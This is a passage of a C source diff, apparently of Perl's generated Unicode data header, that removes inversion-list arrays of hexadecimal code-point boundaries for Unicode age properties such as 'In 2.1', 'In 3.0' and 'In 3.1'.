0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_IN__2_DOT_1_invlist[] = { /* for all charsets */ - 624, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F6, - 0x1FA, - 0x218, - 0x250, - 0x2A9, - 0x2B0, - 0x2DF, - 0x2E0, - 0x2EA, - 0x300, - 0x346, - 0x360, - 0x362, - 0x374, - 0x376, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3CF, - 0x3D0, - 0x3D7, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3F4, - 0x401, - 0x40D, - 0x40E, - 0x450, - 0x451, - 0x45D, - 0x45E, - 0x487, - 0x490, - 0x4C5, - 0x4C7, - 0x4C9, - 0x4CB, - 0x4CD, - 0x4D0, - 0x4EC, - 0x4EE, - 0x4F6, - 0x4F8, - 0x4FA, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58A, - 0x591, - 0x5A2, - 0x5A3, - 0x5BA, - 0x5BB, - 0x5C5, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x60C, - 0x60D, - 0x61B, - 0x61C, - 0x61F, - 0x620, - 0x621, - 0x63B, - 0x640, - 0x653, - 0x660, - 0x66E, - 0x670, - 0x6B8, - 0x6BA, - 0x6BF, - 0x6C0, - 0x6CF, - 0x6D0, - 0x6EE, - 0x6F0, - 0x6FA, - 0x901, - 0x904, - 0x905, - 0x93A, - 0x93C, - 0x94E, - 0x950, - 0x955, - 0x958, - 0x971, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FB, - 0xA02, - 0xA03, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA75, - 0xA81, - 0xA84, - 0xA85, - 0xA8C, - 0xA8D, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE1, - 0xAE6, - 0xAF0, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB36, - 0xB3A, - 0xB3C, - 0xB44, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB66, - 0xB71, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBB6, - 0xBB7, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xBE7, - 0xBF3, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC34, - 0xC35, - 0xC3A, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC60, - 0xC62, - 0xC66, - 0xC70, - 0xC82, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCE6, - 0xCF0, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD29, - 0xD2A, - 0xD3A, - 0xD3E, - 0xD44, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD60, - 0xD62, - 0xD66, - 0xD70, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEDE, - 0xF00, - 0xF48, - 0xF49, - 0xF6A, - 0xF71, - 0xF8C, - 0xF90, - 0xF96, - 0xF97, - 0xF98, - 0xF99, - 0xFAE, - 0xFB1, - 0xFB8, - 0xFB9, - 0xFBA, - 0x10A0, - 0x10C6, - 0x10D0, - 0x10F7, - 0x10FB, - 0x10FC, - 0x1100, - 0x115A, - 0x115F, - 0x11A3, - 0x11A8, - 0x11FA, - 0x1E00, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x202F, - 0x2030, - 0x2047, - 0x206A, - 0x2071, - 0x2074, - 0x208F, - 0x20A0, - 0x20AD, - 0x20D0, - 0x20E2, - 0x2100, - 0x2139, - 0x2153, - 0x2183, - 0x2190, - 0x21EB, - 0x2200, - 0x22F2, - 0x2300, - 0x2301, - 0x2302, - 0x237B, - 0x2400, - 0x2425, - 0x2440, - 0x244B, - 0x2460, - 0x24EB, - 0x2500, - 0x2596, - 0x25A0, - 0x25F0, - 0x2600, - 0x2614, - 0x261A, - 0x2670, - 0x2701, - 0x2705, - 0x2706, - 0x270A, - 0x270C, - 0x2728, - 0x2729, - 0x274C, - 0x274D, - 0x274E, - 0x274F, - 0x2753, - 0x2756, - 0x2757, - 0x2758, - 0x275F, - 0x2761, - 0x2768, - 0x2776, - 0x2795, - 0x2798, - 0x27B0, - 0x27B1, - 0x27BF, - 0x3000, - 0x3038, - 0x303F, - 0x3040, - 0x3041, - 0x3095, - 0x3099, - 0x309F, - 0x30A1, - 0x30FF, - 0x3105, - 0x312D, - 0x3131, - 0x318F, - 0x3190, - 0x31A0, - 0x3200, - 0x321D, - 0x3220, - 0x3244, - 0x3260, - 0x327C, - 0x327F, - 0x32B1, - 0x32C0, - 0x32CC, - 0x32D0, - 0x32FF, - 0x3300, - 0x3377, - 0x337B, - 0x33DE, - 0x33E0, - 0x33FF, - 0x4E00, - 0x9FA6, - 0xAC00, - 0xD7A4, - 0xD800, - 0xFA2E, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1E, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE20, - 0xFE24, - 0xFE30, - 0xFE45, - 0xFE49, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF5F, - 0xFF61, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFFC, - 0x10000, - 0x1FFFE, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_IN__3_invlist[] = { /* for all charsets */ - 738, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x220, - 0x222, - 0x234, - 0x250, - 0x2AE, - 0x2B0, - 0x2EF, - 0x300, - 0x34F, - 0x360, - 0x363, - 0x374, - 0x376, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3CF, - 0x3D0, - 0x3D8, - 0x3DA, - 0x3F4, - 0x400, - 0x487, - 0x488, - 0x48A, - 0x48C, - 0x4C5, - 0x4C7, - 0x4C9, - 0x4CB, - 0x4CD, - 0x4D0, - 0x4F6, - 0x4F8, - 0x4FA, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x591, - 0x5A2, - 0x5A3, - 0x5BA, - 0x5BB, - 0x5C5, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x60C, - 0x60D, - 0x61B, - 0x61C, - 0x61F, - 0x620, - 0x621, - 0x63B, - 0x640, - 0x656, - 0x660, - 0x66E, - 0x670, - 0x6EE, - 0x6F0, - 0x6FF, - 0x700, - 0x70E, - 0x70F, - 0x72D, - 0x730, - 0x74B, - 0x780, - 0x7B1, - 0x901, - 0x904, - 0x905, - 0x93A, - 0x93C, - 0x94E, - 0x950, - 0x955, - 0x958, - 0x971, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FB, - 0xA02, - 0xA03, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA75, - 0xA81, - 0xA84, - 0xA85, - 0xA8C, - 0xA8D, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE1, - 0xAE6, - 0xAF0, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB36, - 0xB3A, - 0xB3C, - 0xB44, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB66, - 0xB71, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBB6, - 0xBB7, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xBE7, - 0xBF3, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC34, - 0xC35, - 0xC3A, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC60, - 0xC62, - 0xC66, - 0xC70, - 0xC82, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCE6, - 0xCF0, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD29, - 0xD2A, - 0xD3A, - 0xD3E, - 0xD44, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD60, - 0xD62, - 0xD66, - 0xD70, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEDE, - 0xF00, - 0xF48, - 0xF49, - 0xF6B, - 0xF71, - 0xF8C, - 0xF90, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCF, - 0xFD0, - 0x1000, - 0x1022, - 0x1023, - 0x1028, - 0x1029, - 0x102B, - 0x102C, - 0x1033, - 0x1036, - 0x103A, - 0x1040, - 0x105A, - 0x10A0, - 0x10C6, - 0x10D0, - 0x10F7, - 0x10FB, - 0x10FC, - 0x1100, - 0x115A, - 0x115F, - 0x11A3, - 0x11A8, - 0x11FA, - 0x1200, - 0x1207, - 0x1208, - 0x1247, - 0x1248, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1287, - 0x1288, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12AF, - 0x12B0, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12CF, - 0x12D0, - 0x12D7, - 0x12D8, - 0x12EF, - 0x12F0, - 0x130F, - 0x1310, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x131F, - 0x1320, - 0x1347, - 0x1348, - 0x135B, - 0x1361, - 0x137D, - 0x13A0, - 0x13F5, - 0x1401, - 0x1677, - 0x1680, - 0x169D, - 0x16A0, - 0x16F1, - 0x1780, - 0x17DD, - 0x17E0, - 0x17EA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AA, - 0x1E00, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2047, - 0x2048, - 0x204E, - 0x206A, - 0x2071, - 0x2074, - 0x208F, - 0x20A0, - 0x20B0, - 0x20D0, - 0x20E4, - 0x2100, - 0x213B, - 0x2153, - 0x2184, - 0x2190, - 0x21F4, - 0x2200, - 0x22F2, - 0x2300, - 0x237C, - 0x237D, - 0x239B, - 0x2400, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x24EB, - 0x2500, - 0x2596, - 0x25A0, - 0x25F8, - 0x2600, - 0x2614, - 0x2619, - 0x2672, - 0x2701, - 0x2705, - 0x2706, - 0x270A, - 0x270C, - 0x2728, - 0x2729, - 0x274C, - 0x274D, - 0x274E, - 0x274F, - 0x2753, - 0x2756, - 0x2757, - 0x2758, - 0x275F, - 0x2761, - 0x2768, - 0x2776, - 0x2795, - 0x2798, - 0x27B0, - 0x27B1, - 0x27BF, - 0x2800, - 0x2900, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x303B, - 0x303E, - 0x3040, - 0x3041, - 0x3095, - 0x3099, - 0x309F, - 0x30A1, - 0x30FF, - 0x3105, - 0x312D, - 0x3131, - 0x318F, - 0x3190, - 0x31B8, - 0x3200, - 0x321D, - 0x3220, - 0x3244, - 0x3260, - 0x327C, - 0x327F, - 0x32B1, - 0x32C0, - 0x32CC, - 0x32D0, - 0x32FF, - 0x3300, - 0x3377, - 0x337B, - 0x33DE, - 0x33E0, - 0x33FF, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FA6, - 0xA000, - 0xA48D, - 0xA490, - 0xA4A2, - 0xA4A4, - 0xA4B4, - 0xA4B5, - 0xA4C1, - 0xA4C2, - 0xA4C5, - 0xA4C6, - 0xA4C7, - 0xAC00, - 0xD7A4, - 0xD800, - 0xFA2E, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE20, - 0xFE24, - 0xFE30, - 0xFE45, - 0xFE49, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF5F, - 0xFF61, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0x10000, - 0x1FFFE, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_IN__3_DOT_1_invlist[] = { /* for all charsets */ - 804, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x220, - 0x222, - 0x234, - 0x250, - 0x2AE, - 0x2B0, - 0x2EF, - 0x300, - 0x34F, - 0x360, - 0x363, - 0x374, - 0x376, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3CF, - 0x3D0, - 0x3D8, - 0x3DA, - 0x3F6, - 0x400, - 0x487, - 0x488, - 0x48A, - 0x48C, - 0x4C5, - 0x4C7, - 0x4C9, - 0x4CB, - 0x4CD, - 0x4D0, - 0x4F6, - 0x4F8, - 0x4FA, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x591, - 0x5A2, - 0x5A3, - 0x5BA, - 0x5BB, - 0x5C5, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x60C, - 0x60D, - 0x61B, - 0x61C, - 0x61F, - 0x620, - 0x621, - 0x63B, - 0x640, - 0x656, - 0x660, - 0x66E, - 0x670, - 0x6EE, - 0x6F0, - 0x6FF, - 0x700, - 0x70E, - 0x70F, - 0x72D, - 0x730, - 0x74B, - 0x780, - 0x7B1, - 0x901, - 0x904, - 0x905, - 0x93A, - 0x93C, - 0x94E, - 0x950, - 0x955, - 0x958, - 0x971, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FB, - 0xA02, - 0xA03, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA75, - 0xA81, - 0xA84, - 0xA85, - 0xA8C, - 0xA8D, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE1, - 0xAE6, - 0xAF0, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB36, - 0xB3A, - 0xB3C, - 0xB44, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB66, - 0xB71, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBB6, - 0xBB7, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xBE7, - 0xBF3, - 0xC01, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC34, - 0xC35, - 0xC3A, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC60, - 0xC62, - 0xC66, - 0xC70, - 0xC82, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCE6, - 0xCF0, - 0xD02, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD29, - 0xD2A, - 0xD3A, - 0xD3E, - 0xD44, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD60, - 0xD62, - 0xD66, - 0xD70, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEDE, - 0xF00, - 0xF48, - 0xF49, - 0xF6B, - 0xF71, - 0xF8C, - 0xF90, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCF, - 0xFD0, - 0x1000, - 0x1022, - 0x1023, - 0x1028, - 0x1029, - 0x102B, - 0x102C, - 0x1033, - 0x1036, - 0x103A, - 0x1040, - 0x105A, - 0x10A0, - 0x10C6, - 0x10D0, - 0x10F7, - 0x10FB, - 0x10FC, - 0x1100, - 0x115A, - 0x115F, - 0x11A3, - 0x11A8, - 0x11FA, - 0x1200, - 0x1207, - 0x1208, - 0x1247, - 0x1248, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1287, - 0x1288, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12AF, - 0x12B0, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12CF, - 0x12D0, - 0x12D7, - 0x12D8, - 0x12EF, - 0x12F0, - 0x130F, - 0x1310, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x131F, - 0x1320, - 0x1347, - 0x1348, - 0x135B, - 0x1361, - 0x137D, - 0x13A0, - 0x13F5, - 0x1401, - 0x1677, - 0x1680, - 0x169D, - 0x16A0, - 0x16F1, - 0x1780, - 0x17DD, - 0x17E0, - 0x17EA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AA, - 0x1E00, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2047, - 0x2048, - 0x204E, - 0x206A, - 0x2071, - 0x2074, - 0x208F, - 0x20A0, - 0x20B0, - 0x20D0, - 0x20E4, - 0x2100, - 0x213B, - 0x2153, - 0x2184, - 0x2190, - 0x21F4, - 0x2200, - 0x22F2, - 0x2300, - 0x237C, - 